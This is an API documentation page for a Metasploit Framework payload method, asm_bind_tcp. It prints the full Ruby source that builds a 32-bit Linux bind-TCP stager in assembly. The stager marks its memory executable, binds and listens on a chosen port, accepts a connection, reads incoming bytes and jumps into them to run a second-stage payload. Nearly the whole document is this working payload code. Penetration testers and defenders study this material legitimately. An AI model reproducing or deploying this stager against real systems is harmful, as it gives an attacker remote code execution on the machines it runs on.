Method: Msf::Payload::Linux::BindTcp#asm_bind_tcp

Defined in:
lib/msf/core/payload/linux/bind_tcp.rb

#asm_bind_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Integer) —

    The port to connect to

  • :reliable (Bool) —

    Whether or not to enable error handling code



82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
 
# File 'lib/msf/core/payload/linux/bind_tcp.rb', line 82

def asm_bind_tcp(opts={})

  #reliable     = opts[:reliable]
  af_inet = 2

  if use_ipv6
    af_inet = 0xa
  end

  encoded_port = "0x%.8x" % [opts[:port].to_i, af_inet].pack("vn").unpack("N").first

  asm = %Q^
    bind_tcp:
      push 0x7d                     ; mprotect syscall
      pop eax
      cdq
      mov dl,0x7
      mov ecx,0x1000
      mov ebx,esp
      and bx,0xf000
      int 0x80                      ; invoke mprotect
      xor ebx,ebx
      mul ebx
      push ebx                      ; PROTO
      inc ebx                       ; SYS_SOCKET and SOCK_STREAM
      push ebx
      push #{af_inet}               ; SYS_BIND and AF_INET(6)
      mov ecx,esp
      mov al,0x66                   ; socketcall syscall
      int 0x80                      ; invoke socketcall (SYS_SOCKET)

      ; set the SO_REUSEADDR flag on the socket
      push ecx
      push 4
      push esp
      push 2
      push 1
      push eax
      xchg eax,edi                  ; stash the socket handle
      mov ecx, esp
      push 0xe                      ; SYS_SETSOCKOPT
      pop ebx
      push 0x66                     ; socketcall syscall
      pop eax
      int 0x80
      mov eax,edi                   ; restore the socket handle
      add esp, 0x14
      pop ecx                       ; restore ecx

      pop ebx
      pop esi
  ^

  if use_ipv6
    asm << %Q^
      push 2
      pop ebx
      push edx
      push edx
      push edx
      push edx
      push edx
      push edx
      push #{encoded_port}
      mov ecx,esp
      push 0x1c
    ^
  else
    asm << %Q^
      push edx
      push #{encoded_port}
      push 0x10
    ^
  end

  asm << %Q^
      push ecx
      push eax
      mov ecx,esp
      push 0x66                     ; socketcall syscall
      pop eax
      int 0x80                      ; invoke socketcall (SYS_BIND)

      shl ebx,1                     ; SYS_LISTEN
      mov al,0x66                   ; socketcall syscall (SYS_LISTEN)
      int 0x80                      ; invoke socketcall

      push edi                      ; stash the listen socket
      inc ebx                       ; SYS_ACCEPT
      mov al,0x66                   ; socketcall syscall
      mov [ecx+0x4],edx
      int 0x80                      ; invoke socketcall (SYS_ACCEPT)
      xchg eax,ebx
  ^

  if include_send_uuid
    asm << %Q^
      mov edi, ebx
      #{asm_send_uuid}
    ^
  end

  asm << %Q^
      mov dh,0xc                    ; at least 0x0c00 bytes
      mov al,0x3                    ; read syscall
      int 0x80                      ; invoke read
      xchg ebx,edi                  ; stash the accept socket in edi
      pop ebx                       ; restore the listen socket
      mov al,0x6                    ; close syscall
      int 0x80                      ; invoke close
      jmp ecx                       ; jump to the payload
  ^

  asm
end